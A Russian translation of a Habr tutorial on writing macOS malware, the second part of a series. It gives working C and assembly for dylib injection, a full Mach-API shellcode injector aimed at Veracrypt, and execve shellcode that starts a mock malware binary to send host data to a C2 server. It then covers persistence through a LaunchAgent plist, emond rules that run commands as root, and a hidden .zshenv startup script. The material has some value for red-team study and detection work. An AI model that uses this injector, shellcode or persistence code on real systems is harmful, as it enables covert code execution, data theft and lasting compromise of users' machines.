[Перевод] Разработка вредоносного ПО для MacOS: инъекция и сохранение шелл-кода

d2d81f1984a4e61885a599f2a85fca92.jpg

Мы продолжаем тему о проектировании и разработке вредоносного ПО для macOS. Первую часть публикации вы можете прочитать здесь. 

В этой статье мы:

  • Изучим методики инъецирования кода и то, как он применяется в вредоносном ПО;

  • Затронем способы обеспечения постоянства хранения;

  • В конце мы покажем простой процесс инъецирования шелл-кода и его постоянного хранения. 

Инъецирование кода

DYLD_INSERT_LIBRARIES — это мощная фича, позволяющая пользователям заранее загружать динамические библиотеки в приложения. И разработчики, и нападающие могут инъецировать код в выполняемые процессы, не изменяя при этом исходный исполняемый файл. Это часто используется для перехвата вызовов функций, манипуляций с поведением программ и даже для добавления вредоносной функциональности в безвредное приложение. Это разделённый двоеточиями список динамических библиотек, которые нужно загружать до тех, которые указаны в программе. Это позволяет тестировать новые модули имеющихся общих динамических библиотек, используемых в образах плоского пространства имён (flat namespace), при помощи загрузки временной общей динамической библиотеки только с новыми модулями.

Проще говоря, перед загрузкой программы выполняется загрузка всех dylib, указанных в этой переменной, по сути, инъецируя dylib в приложение. Пример:

#include 
#include 
#include 
__attribute__((constructor))

void foo() {
  printf("Dynamic library injected! \n");
  system("/bin/bash -c 'echo Library injected!'");
}

Как видите, у нас есть функция foo(), сообщающая нам, что мы успешно инъецировали библиотеку, и команда system, исполняющая шелл, чтобы сообщить то же самое. attribute ((constructor)) обозначает выполнение функции до функции main приложения, в которую мы инъецировали dylib. О том, как выявить двоичные файлы, уязвимые к инъецированию переменных окружения, мы поговорим ниже, а сначала просто попробуем сделать это в одной из наших предыдущих программ. Скомпилируем этот код как любую другую программу, а затем запустим его.

~ > gcc -dynamiclib inject.c -o inject.dylib

~ > DYLD_INSERT_LIBRARIES=inject.dylib ./foo
Dynamic library injected!
Library injected!

Вуаля. Перед загрузкой программы выполняется загрузка всех dylib, указанных в этой переменной; по сути, происходит инъецирование dylib в приложение. Наверно, вы думаете, что это может привести к повышению привилегий? Но с двоичными файлами на платформе Apple не всё так просто. В macOS 10.14 сторонние разработчики могут решить использовать для своих приложений hardened runtime, что помогает предотвратить инъецирование dylib при помощи этой методики.

По сути, мы можем выполнить инъецирование, если приложение не имеет «Hardened Runtime», то есть позволяет инъецировать dylib при помощи переменной окружения. Если же двоичный файл использует hardened runtime и разработчик выпустил его с соответствующими entitlements, то могут существовать следующие возможности:

  • Entitlement «Disable-library-validation» позволяет любой dylib запускаться в двоичном файле даже без проверки того, кто подписал файл и библиотеку. Это разрешение обычно имеется в программах, допускающих применение написанных сообществом плагинов.

  • Entitlement com.apple.security.cs.allow-dyld-environment-variables ослабляет ограничения hardened runtime и позволяет применять для инъецирования библиотеки DYLD_INSERT_LIBRARIES.

Рассмотрим пример возможного целевого приложения Safari.app. С ним это не сработает, потому что в нём используется hardened runtime и отсутствует соответствующее entitlement:

5e792dd7f40b3ca9da6e39301213a923.png

Но это необязательно означает, что приложение не является hardened, так как существуют другие фичи Hardened Runtime, которые могут не отражаться в entitlements. Например, я выяснил, что Veracrypt не использует Hardened Runtime, поэтому мы применим его в качестве примера. Давайте попытаемся выполнить инъецирование в него, но сначала…

__attribute__((constructor))

static void customConstructor(int argc, const char **argv)
{
printf("Foo!\n");
syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);
}

Итак, мы просто печатаем «foo» и записываем в лог сообщение при помощи функции syslog (), которая логирует сообщение об ошибке, информирующее об успешном инъецирование динамической библиотеки (dylib) и указывающее имя программы. Давайте проверим этот код. Если мы увидим следующий вывод, то это будет означать, что мы успешно загрузили библиотеку:

85ff9423b35869f94aa043806f9c9fd4.png

Если мы попытаемся воспользоваться DYLD_INSERT_LIBRARIES в другом hardened-файле, у которого отсутствует соответствующее entitlement, то не сможем загрузить библиотеку, а значит, и не получим нужный вывод.

Однако некоторые внутренние компоненты macOS ожидают, что потоки будут создаваться при помощи BSD API и иметь правильно настроенные структуры потоков Mach и структуры pthread. Это может создавать сложности, особенно из-за изменений, появившихся в macOS 10.14.

Для решения этой проблемы я воспользовался кодом под названием inject.c. Кроме того, я крайне рекомендую прочитать «Mac Hacker«s Handbook», потому что там представлена бесценная информация и отличные примеры межпроцессного инъецирования кода.

Насколько я понимаю, переход от потокового API Mach к API pthread в macOS, особенно в инициализации структур потоков, представляет собой трудности. Однако благодаря функции _pthread_create_from_mach_thread можно инициализировать структуры pthread из голых потоков Mach. Это обеспечивает совместимость и правильное функционирование потоковых приложений в разных версиях macOS.

Я создал примеры, демонстрирующие, как инъецировать код для вызова dlopen и загрузки dylib в удалённую задачу Mach: Gist 1 и Gist 2.

Теперь рассмотрим вторую методику. Она схожа со способами, используемыми в Windows. Один из распространённых подходов — это инъецирование процесса, то есть способность одного процесса исполнять код в другом процессе. В Windows это часто используется, чтобы избежать обнаружения антивирусным ПО, например, при помощи методики под названием DLL hijacking. Это позволяет зловредному коду замаскироваться под часть другого исполняемого файла. В macOS эта методика может иметь гораздо более сильное влияние из-за различий в разрешениях между приложениями.

В классической модели безопасности Unix каждый процесс работает как конкретный пользователь. У каждого файла есть владелец, группа и флаги, определяющие, какие пользователи могут читать, записывать и исполнять этот файл. Два процесса, работающие как одинаковый пользователь, имеют одинаковые разрешения; считается, что между ними нет границы разных уровней безопасности. Пользователи считаются границами между уровнями безопасности, но не процессы. Если два процесса выполняются как один пользователь, то один процесс может подключиться к другому как отладчик, что позволяет ему считывать или записывать память и регистры этого второго процесса. Исключением является рут-пользователь, потому что он имеет доступ ко всем файлам и процессам. То есть рут всегда может иметь доступ ко всем данным в компьютере, находятся ли они на диске или в ОЗУ.

По сути, такая же модель безопасности использовалась в macOS… пока не появилась SIP (System Integrity Protection).

Инъецирование шелл-кода в OS X

Мы напишем простую программу инъефирования шелл-кода, а хост-процесс зловреда инъецирует шелл-код в память удалённого процесса. Но прежде давайте напишем для тестирования простой шелл-код.

Написание 64-битного ассемблерного кода в macOS отличается от ELF. Для начала нужно разобраться в формате исполняемых файлов macOS, называемых Mach-O. Однако для простоты мы будем придерживаться архитектуры x86_64, а позже можем использовать компоновщик для исполняемых файлов Mach-O.

Простая программа «Hello World» начинается с объявления двух разделов: .data и .text. Раздел .data используется для хранения инициализированных данных, а раздел .text содержит исполняемый код. Затем мы задаём функцию _main как входную точку программы, за которой следует опорная точка в коде, которую мы назовём trick. За разделом trick будет следовать команда call, вызывающая подпрограмму continue и извлекающая из стека адрес строки «Hello World!». Кроме того, из кода видно, что в конце есть системный вызов, выполняющий выход из программы. Первый системный вызов нужен для записи данных.

section .data
section .text

global _main
_main:

start:
jmp trick

continue:
pop rsi            ; Pop string address into rsi
mov rax, 0x2000004 ; System call write = 4
mov rdi, 1         ; Write to standard out = 1
mov rdx, 14        ; The size to write
syscall            ; Invoke the kernel
mov rax, 0x2000001 ; System call number for exit = 1
mov rdi, 0         ; Exit success = 0
syscall            ; Invoke the kernel

trick:
call continue
db "Hello World!", 0, 0

Теперь перейдём к компиляции. Для ассемблирования кода я обычно использую NASM. Помните о том, что я говорил об использовании компоновщика для создания исполняемых файлов Mach-O? После ассемблирования кода при помощи NASM нам понадобится скомпоновать его при помощи ld. Этот компоновщик не только связывает ассемблированный код, но и добавляет необходимые системные библиотеки.

~ > ./nasm -f macho64 Hello.asm -o hello.o && ld ./Hello.o -o Hello -lSystem -syslibroot `xcrun -sdk macosx --show-sdk-path`

~ > ./Hello
Hello World!

Довольно сложно, правда? Чтобы превратить это в машинный код, который можно использовать для инъецирования, его нужно преобразовать в шестнадцатеричный вид. Этот вид состоит из коротких последовательностей байтов, описывающих исполняемый код на машинном языке. По сути, он представляет точную последовательность команд, которую будет исполнять процессор. Для этого мы можем использовать objdump.

~ > objdump -d ./Hello | grep '[0-9a-f]:'| grep -v 'file'| cut -f2 -d:| cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g'| paste -d '' -s | sed 's/^/"/'| sed 's/$/"/g'

`\xeb\x1e\x5e\xb8\x04\x00\x00\x02\xbf\x01\x00\x00\x00\xba\x0e\x00\x00\x00\x0f\x05\xb8\x01\x00\x00\x02\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a`

Если по какой-то причине вы не можете извлечь shellcode при помощи одного только objdump, то можно набросать простой скрипт на Python для парсинга ассемблерного вывода:

def extract_shellcode(objdump_output):
    shellcode = ""
    length = 0
    lines = objdump_output.split('\n')
    
    for line in lines:
        if re.match("^[ ]*[0-9a-f]*:.*$", line):
            line = line.split(":")[1].lstrip()
            x = line.split("\t")
            opcode = re.findall("[0-9a-f][0-9a-f]", x[0])
            for i in opcode:
                shellcode += "\\x" + i
                length += 1

    return shellcode, length

def main():
    objdump_output = sys.stdin.read()
    shellcode, length = extract_shellcode(objdump_output)
    
    if shellcode == "":
        print("Bad")
    else:
        print("\n" + shellcode)

if __name__ == "__main__":
    main()

Но работает ли shellcode? Чтобы убедиться в его функциональности, нам нужно проверить, сможем ли мы выполнить простое инъецирование. Например, это можно сделать, скомпилировав shellcode и сохранив его как глобальную переменную в разделе __TEXT,__text исполняемого файла. Это можно сделать, объявив shellcode как переменную внутри самого кода. Вот простой пример:

const char output[] __attribute__((section("__TEXT,__text"))) =  "
\xeb\x1e\x5e\xb8\x04\x00\x00\x02\xbf\x01
\x00\x00\x00\xba\x0e\x00\x00\x00\x0f\x05
\xb8\x01\x00\x00\x02\xbf\x00\x00\x00\x00
\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c
\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

typedef int (*funcPtr)();

int main(int argc, char **argv)
{
    funcPtr ret = (funcPtr) output;
    (*ret)();

    return 0;
}

Теперь, когда у нас есть shellcode, давайте приступим к написанию инъектора. Логично будет начать с функции main. Логика проста: мы получаем один аргумент командной строки, который должен быть process ID (PID) целевого процесса, в который нам нужно инъецировать шелл-код. Затем мы получаем дескриптор нашей задачи при помощи task_for_pid(). Далее мы распределяем буфер памяти в удалённой задаче при помощи mach_vm_allocate() и записываем наш шелл-код в удалённый буфер при помощи mach_vm_write(). Мы изменим разрешения для работы с памятью удалённого буфера при помощи mach_vm_protect(). Затем мы обновим контекст удалённого потока, указав на точку начала шелл-кода при помощи thread_create_running(). Наконец, запустим шелл-код, который выведет «Hello World».

Вспомним разговор о различиях между потоком задач Mach и pthread BSD, а также вызов API task_for_pid(). Чтобы разработать утилиту, использующую task_for_pid(), нам понадобится создать файл Info.plist. Этот файл будет встроен в наш исполняемый файл; он позволит подписать код с ключом, имеющим значение «allow». Вот пример файла Info.plist:





com.apple.security.get-task-allow



Примечание: не все разделы виртуальной памяти программы допускают интерпретацию своего содержимого процессором как кода (то есть «помеченного как исполняемое»). Память может быть помечена как читаемая ®, записываемая (W), исполняемая (E) и как сочетания этих трёх вариантов. Например, страница, помеченная как RW, означает, что можно выполнять чтение/запись этих адресов в памяти, но их содержимое CPU не может считать исполняемым. Это важный аспект защиты памяти и безопасности в современных операционных системах.

Исполняемые области памяти обычно помечены разрешением execute (E), что позволяет CPU интерпретировать содержимое этих областей как машинные команды и исполнять их. Это необходимо для запуска программ, так как CPU должен получать команды из памяти и исполнять их.

Однако разрешение исполнять произвольные области памяти может создавать серьёзную угрозу безопасности: например, приводить к атакам переполнения буфера или к инъецированию зловредного кода. Потому современные операционные системы используют механизмы защиты памяти для ограничения исполнения кода только конкретными авторизованными областями памяти.

Контролируя разрешения страниц памяти, операционные системы могут применять политики безопасности и предотвращать неавторизованное исполнение кода. Например, записываемые области памяти, содержащие данные, не должны быть исполняемыми, чтобы предотвратить исполнение инъецированного зловредного кода. Аналогично, исполняемый код не должен быть записываемым, чтобы предотвратить вмешательство в команды программы.

Входная точка преобразует переданный строковый PID в целое число и вызывает функцию inject_shellcode для инъецирования шелл-кода в целевой процесс при помощи переданного PID.

Нам нужно взаимодействовать с целевым процессом, так что объявим несколько переменных, в которых будет храниться необходимая информация. Это будут переменные remote_task, в которой хранится порт задачи целевого процесса, remote_stack для хранения адреса распределённой памяти для удалённого стека внутри целевого процесса и shellcode_region для отслеживания области памяти, распределённого для шелл-кода.

Далее начинается процесс. Мы должны получить разрешение на доступ к целевому процессу, поэтому используем функцию task_for_pid для получения порта задачи. Это позволяет нам манипулировать памятью и потоками целевого процесса.

Получив доступ, мы начинаем распределять память внутри целевого процесса. Мы резервируем пространство и под удалённый стек, и под шелл-код при помощи mach_vm_allocate. Это гарантирует, что у нас будет место для исполнения нашего кода. После распределения памяти мы записываем наш шелл-код в пространство распределённой памяти целевого процесса при помощи mach_vm_write. Это помещает наш код туда, где он должен исполняться.

int inject_shellcode(pid_t pid, unsigned char *shellcode, size_t shellcode_size) {
    task_t remote_task;
    mach_vm_address_t remote_stack = 0;
    vm_region_t shellcode_region;
    mach_error_t kr;

    // Получаем порт задачи для целевого процесса
    kr = task_for_pid(mach_task_self(), pid, &remote_task);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to get the task port for the target process: %s\n", mach_error_string(kr));
        return -1;
    }

    // Распределяем память под стек целевого процесса
    kr = mach_vm_allocate(remote_task, &remote_stack, STACK_SIZE, VM_FLAGS_ANYWHERE);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to allocate memory for remote stack: %s\n", mach_error_string(kr));
        return -1;
    }

    // Распределяем память в целевом процессе под шелл-код
    kr = mach_vm_allocate(remote_task, &shellcode_region.addr, shellcode_size, VM_FLAGS_ANYWHERE);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to allocate memory for remote code: %s\n", mach_error_string(kr));
        return -1;
    }
    shellcode_region.size = shellcode_size;
    shellcode_region.prot = VM_PROT_READ | VM_PROT_EXECUTE;

    // Записываем шелл-код в распределённую в целевом процессе память
    kr = mach_vm_write(remote_task, shellcode_region.addr, (vm_offset_t)shellcode, shellcode_size);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to write shellcode to remote process: %s\n", mach_error_string(kr));
        return -1;
    }

    // Настраиваем разрешения доступа к памяти для нашего шелл-кода
    kr = vm_protect(remote_task, shellcode_region.addr, shellcode_region.size, FALSE, shellcode_region.prot);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to set memory permissions for remote code: %s\n", mach_error_string(kr));
        return -1;
    }

    // Создаём удалённый поток для исполнения шелл-кода
    x86_thread_state64_t thread_state;
    memset(&thread_state, 0, sizeof(thread_state));
    thread_state.__rip = (uint64_t)shellcode_region.addr;
    thread_state.__rsp = (uint64_t)(remote_stack + STACK_SIZE);

    thread_act_t remote_thread;
    kr = thread_create(remote_task, &remote_thread);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to create remote thread: %s\n", mach_error_string(kr));
        return -1;
    }

    // Задаём состояние потока
    kr = thread_set_state(remote_thread, x86_THREAD_STATE64, (thread_state_t)&thread_state, x86_THREAD_STATE64_COUNT);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to set thread state: %s\n", mach_error_string(kr));
        return -1;
    }

    // Возобновляем удалённый поток
    kr = thread_resume(remote_thread);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to resume remote thread: %s\n", mach_error_string(kr));
        return -1;
    }

    printf("Shellcode injected successfully!\n");

    mach_port_deallocate(mach_task_self(), remote_thread);

    return 0;
}

Чтобы гарантировать возможность исполнения шелл-кода, мы изменяем разрешения работы с памятью распределённой области памяти, содержащей шелл-код. Мы используем vm_protect, чтобы задать соответствующие разрешения, обеспечивающие возможность исполнения. Теперь можно исполнить наш шелл-код. Мы создаём удалённый поток внутри целевого процесса при помощи thread_create. Этот поток будет отвечать за выполнение инъецированного кода.

Прежде чем запускать поток, нужно задать его состояние. Мы подготавливаем поток к исполнению шелл-кода, задав в указателе команд (rip) начальный адреса шелл-кода, а в указателе стека (rsp) распределённый удалённый стек. Теперь мы готовы к исполнению шелл-кода. Мы возобновляем исполнение удалённого потока при помощи thread_resume, позволяя ему начать исполнение инъецированного кода.

Если всё пройдёт без проблем, мы выведем сообщение об успешном инъецировании шелл-кода. Также мы подчистим все ресурсы, использованные в процессе инъецирования, освободив порты Mach. Вот и всё! В этом и заключается весь процесс инъецирования шелл-кода в целевой процесс macOS при помощи Mach API.

В инъекторе мы инъецируем шелл-код в целевой процесс при помощи Mach API в macOS. Здесь в дело вступает важное различие между потоками POSIX и потоками Mach. Потоки POSIX используют структуру данных thread local storage (TLS), необходимую для управления данными потоков. Однако у потоков Mach нет концепции TLS.

Когда мы инъецируем наш шелл-код в целевой процесс и создаём удалённый поток для его исполнения, то не можем просто задать в указателе команд структуру контекста потока и ожидать, что всё заработает без проблем. Почему? Потому что наш шелл-код, по сути, являющийся неуправляемым кодом, должен выполняться в контролируемом окружении, а переход от потока Mach напрямую к исполнению нашего шелл-кода может вызывать проблемы.

Поэтому, чтобы предотвратить потенциальные вылеты или ошибки, нам нужно обеспечить исполнение шелл-кода в контексте полнофункционального потока POSIX. Это значит, что в рамках процесса инъецирования нам нужно каким-то образом превратить шелл-код из исполняемого в контексте базового потока в исполняемый в контексте потока POSIX. Сделав это, мы создадим более стабильное окружение для исполнения, гарантирующее, что когда целевой процесс продолжит своё исполнение в начале шелл-кода, всё будет работать без ошибок. Этот процесс преобразования необходим для успешного исполнения инъецированного шелл-кода в пользовательском режиме без вылетов и неопределённого поведения.

Как видите, мы успешно инъецировали shellcode в процесс Veracrypt. Сообщение «Hello World!» выводится, и это подтверждает, что шелл-код исполняется ожидаемым образом и создаёт нужный вывод.

f3dfb141095fc320f97aad265e488389.png

Но давайте теперь обратим внимание на нечто другое. Помните код, который мы разработали для передачи системных данных на сервер C2? Что, если инъецируем шелл-код в процесс Veracrypt для исполнения нашего макета зловреда, позволяя ему установить соединение с сервером C2 и передавать данные хоста?

Допустим, я работаю с zsh; для исполнения команды шелла нам нужно выполнить системный вызов для запуска /bin/zsh -c. Для этого нам нужно воспользоваться execve. Что он делает? Он исполняет команду, на которую ссылается _pathname, которая в нашем случае будет путём к исполняемому файлу макета зловредного ПО.

Давайте напишем простой ассемблерный код для исполнения /bin/zsh -c '/Users/foo/dummy'. Для начала нам нужно подготовить регистр (rbx) и загрузить в него строку '/bin/zsh'. После записи этой строки в стек мы загрузим значения ASCII для -c в младшие 16 битов регистра rax. Записав флаг -c в стек, мы зададим значение регистра rbx так, чтобы он указывал на флаг -c в стеке, потому что это будет необходимо в дальнейшем во время подготовки системного вызова.

Все дополнительные подробности будут указаны в комментариях внутри кода. В конце этого раздела есть косвенный переход, упрощающий исполнение последующих команд. Этот переход перенаправляет ход выполнения программы на адрес, хранящийся в подпрограмме exec, что гарантирует непрерывность исполнения.

global _main

_main:
    xor rdx, rdx        ; Clear rdx register
    push rdx            ; Push NULL onto stack (String terminator)
    mov rbx, '/bin/zsh' ; Load '/bin/zsh' into rbx
    push rbx            ; Push '/bin/zsh' onto stack
    mov rdi, rsp        ; Set rdi to point to '/bin/zsh\0'
    xor rax, rax        ; Clear rax register
    mov ax, 0x632D      ; Load "-c" into lower 16 bits of rax
    push rax            ; Push "-c" onto stack
    mov rbx, rsp        ; Set rbx to point to "-c"
    push rdx            ; Push NULL onto stack
    jmp short dummy     ; Jump to label dummy

exec:
    push rbx            ; Push "-c" onto stack
    push rdi            ; Push '/bin/zsh' onto stack
    mov rsi, rsp        ; Set RSI to point to stack
    push 59             ; Push syscall number
    pop rax             ; Pop syscall number into rax
    bts rax, 25         ; Set 25th bit of rax (AT_FDCWD flag)
    syscall             ; Invoke syscall

dummy:
    call exec                   ; Call subroutine exec
    db '/Users/foo/dummy_m', 0  ; Define string
    push rdx                    ; Push NULL onto stack

Теперь проверим работу этого кода. Как обычно, нам нужно будет извлечь шелл-код и протестировать его, прежде чем пользоваться им. И на этом всё! Мы успешно инъецировали шелл-код, запускающий макет зловреда. Теперь мы получаем информацию хоста на сервер C2. Можно развить всё это, исследовав дополнительные возможности и векторы атак, и даже достичь постоянства хранения, но пока этого достаточно.

00f08421df04129a93346e24a91264cd.png

Исполнение и отправка информации хоста не приносит никакого вреда вашему компьютеру. Наш «макет» — это больше демонстрация способа запуска вредоносного ПО и его распространения при помощи методик инъецирования. Также он полезен для избегания защитных мер или добавления функций бэкдора. Мы лишь вкратце рассмотрели Mach API, изучив системные вызовы и методики инъецирования кода, а также то, как нападающий может использовать нечто наподобие инъецирования процессов для обеспечения зловредного поведения. В этом примере мы использовали безвредный процесс для инъецирования и исполнения «зловредного кода», потенциально позволяющего раскрыть нападающему данные хоста. Можно и пойти глубже, но здесь мы только учимся, и я советую экспериментировать с осторожностью. При использовании инъецирования кода нужно быть очень аккуратным.

Надеюсь, вы извлекли что-то полезное из этого простого введения. Весь использованный код можно найти в Github.

Постоянное хранение

Теперь поговорим о постоянном хранении (persistence). Это необходимый этап после того, как мы получили первоначальный доступ и поняли ситуацию. Мы не хотим полагаться только на эту первоначальную точку доступа, потому что по различным причинам она может исчезнуть: например, в случае проблем с компьютером пользователя. Поэтому важно иметь способ сохранения доступа к жертве.

Хотя для систем MacOS существует множество методик обеспечения постоянства хранения, многие из них требуют рут-привилегий или эксплойтинга эскалации какой-нибудь низкоуровневой уязвимости. Чтобы не усложнять, давайте сосредоточимся на постоянном хранении в режиме пользователя. Сначала я опишу некоторые из известных методик обеспечения постоянства хранения, а также несколько менее известных, чтобы вы могли понять, как работают эти методики и как их могут использовать зловреды.

Перед тем, как приступить к написанию этой статьи, я проанализировал примеры атак на macOS и прочитал отчёты об угрозах. Общее в них было то, что основными способами обеспечения постоянства хранения с большим отрывом остаются launch agent и launch daemon. Почему? Благодаря их простоте и гибкости. Можно сравнить их с постоянством хранения в папке автозагрузки в Windows. Однако распознавать такие методики довольно легко. Помните, что мы говорили о LOLBins? Это примерно столь же простой и распространённый способ, и методики его распознавания тоже хорошо известны.

LaunchAgent и LaunchDaemon

LaunchAgent и LaunchDaemon — ключевые компоненты macOS, отвечающие за автоматическое управление процессами. LaunchAgent обычно находятся в папке ~/Library/LaunchAgents для пользовательских задач, они запускают действия при входе пользователя в систему. LaunchDaemon находятся в /Library/LaunchDaemons, они инициируют задачи при запуске системы.

Хотя LaunchAgent в основном работают в рамках пользовательских сессий, их можно найти и в системных папках наподобие /System/Library/LaunchAgents. Однако для изменения этих файлов потребуется отключить System Integrity Protection (SIP), что не рекомендуется из-за потенциальных угроз безопасности. В отличие от них, LaunchDaemon, работающие на уровне системы, требуют для установки привилегий администратора и обычно находятся в /Library/LaunchDaemons.

И LaunchAgent, и LaunchDaemon конфигурируются при помощи файлов .plist, в которых указаны команды или ссылки на исполняемые файлы.

LaunchAgent подходят для задач, требующих взаимодействия с пользователем, а LaunchDaemons лучше подходят для фоновых процессов. Рассмотрим пример LaunchAgent:





    Label
    com.pre.foo.plist
    ProgramArguments
    
        /Users/foo/dummy
    
    RunAtLoad
    

Что всё это значит? Если нам нужно, чтобы двоичный файл запускался при каждом входе пользователя в систему, мы просто приказываем launchd заняться этим. Всё довольно просто, правда? Но тут всё становится интереснее: существует так называемая emond — нативная команда macOS, которая находится в /sbin/emond. Этот небольшой инструмент довольно удобен: он принимает события от различных сервисов, обрабатывает их в простом движке правил и выполняет соответствующие действия. Такими действиями могут быть запуск команд или выполнение других задач.

emond — необычная команда. Она работает как обычный демон и запускается launchd при каждом запуске системы. Её файл конфигурации, в котором мы задаём, когда и как выполняется emond, располагается с другими системными демонами в /System/Library/LaunchDaemons/com.apple.emond.plist.

Но как мы можем использовать этот демон мониторинга событий для обеспечения постоянства хранения? Механика emond устроена практически так же, как у любого другого LaunchDaemon. В процессе загрузки launchd запускает все LaunchDaemon и LaunchAgent. Так как emond запускается при загрузке, то если вы пользуетесь действием _run command_, нужно осознанно подходить к тому, какую команду вы исполняете и когда в процессе загрузки это происходит.





    
        name
        foo
        enabled
        
        eventTypes
        
            startup
        
        actions
        
            
                command
                sleep
                user
                root
                arguments
                
                    10
                
                type
                RunCommand
            
            
                command
                curl
                user
                root
                arguments
                
                    dns.log
                
                type
                RunCommand
            
        
    


Итак, в нашем файле SampleRules.plist есть структура «foo». Сначала она ждёт 10 секунд после загрузки. Это выполняется при помощи команды sleep. Далее мы используем curl, чтобы просто отправить DNS-запрос для проверки того, что всё работает. После запуска сервиса немедленно сработает ваше событие и запустит все действия. emond — не новый способ мониторинга событий в macOS, но в атаках он считается инновационным.

Профили Bash и запуск Zsh

Давайте поговорим о профилях bash в системах Linux. Это скрипты с командами, которые запускаются при открытии терминала. Вместо профилей bash у zsh есть собственная версия, называющаяся start files, выполняющая ту же задачу. Но есть и особенность: zsh имеет дополнительный файл, называемый файлом окружения zsh. Этот файл более мощный, потому что он запускается чаще, обеспечивая постоянство хранения между различными взаимодействиями с zsh.

Здорово то, что даже если просто ввести команду типа zsh -c, этот файл окружения шелла всё равно используется. Это значит, ваша схема постоянного хранения остаётся надёжной, как бы вы ни пользовались шеллом.

~ > cat .zshenv
. "/Users/foo/startup.sh" > /dev/null 2>&1&

При каждом открытии терминала и инициализации Z shell он автоматически исполняет скрипт startup.sh, гарантирующий согласованное выполнение нужных команд или действий.

7fe94bd44a259bfeee35b3c7b174f6ca.png

Чтобы исполнять это в фоновом режиме, мы воспользуемся setopt NO_MONITOR. Эта команда отключает мониторинг задач, а затем запускает скрипт startup.sh в фоновом режиме. В результате этого скрипт выполняется при каждом открытии терминала с Z shell, но работает скрытно в фоновом режиме.

Надеюсь, принцип понятен. Существуют и другие известные методики, которые я встречал, особенно в примерах. Например, задачи Cron, Dock shortcuts и другие. Но честно говоря, если бы я писал конкретно под macOS, то создал бы многоэтапную систему и избегал известных методик. Как только методика становится широко известной, её разоблачают. Поэтому я бы сосредоточился на разработке методики с более долгим сроком жизни.

Сегодня, когда есть публично доступные скрипты и фреймворки эксплойтов, нападающие стараются не прикладывать особых усилий для решения своих задач. Для написания вредоносного ПО требуется время и энергия, так что они нацеливаются на тот минимум, которого можно достичь без труда. Потому что как только зловреда разоблачили, его песенка спета. А для долговременной работы нужно потратить много времени и иметь хорошие навыки, поэтому нельзя рисковать тем, что вредоносное ПО вычислят при первом заражении. Но если вы, например, работаете в «красной» команде, то протестируете самые простые случаи и поищете лёгкий способ проникновения в систему, прежде чем симулировать более сложные угрозы.

Кроме того, опытный нападающий может обойти большинство механизмов защиты простым шелл-кодом MSFvenom. Да, то есть в конечном итоге, всё сводится к простейшим атакам. Обычно в этой части статьи я добавляю раздел по написанию простого зловреда, в котором мы используем всю изученную информацию для создания одного зловреда (руткита). Однако статья бы вышла слишком длинной и запутанной. Мы можем оставить это на следующую статью, где более глубоко рассмотрим весь процесс, потому что руткиты — это довольно сложные программы, требующие знания ядра и низкоуровневого системного программирования. Так как мы рассмотрели только основы, я не думаю, что руткит подойдёт для этой статьи, он требует отдельного поста.

Заключение

Надеюсь, эта статья была полезной и интересной. Мы рассмотрели широкий спектр тем, связанных с архитектурой macOS и API, но изучили только самые основы. Поговорив о методиках и написав простой код с использованием Mach API, мы обрели более глубокое понимание окружения, его особенностей и безопасности. Мы рассмотрели такие фундаментальные концепции, как инъецирование кода и простые методики постоянного хранения и даже изучили на примерах системные вызовы macOS.

Источники

© Habrahabr.ru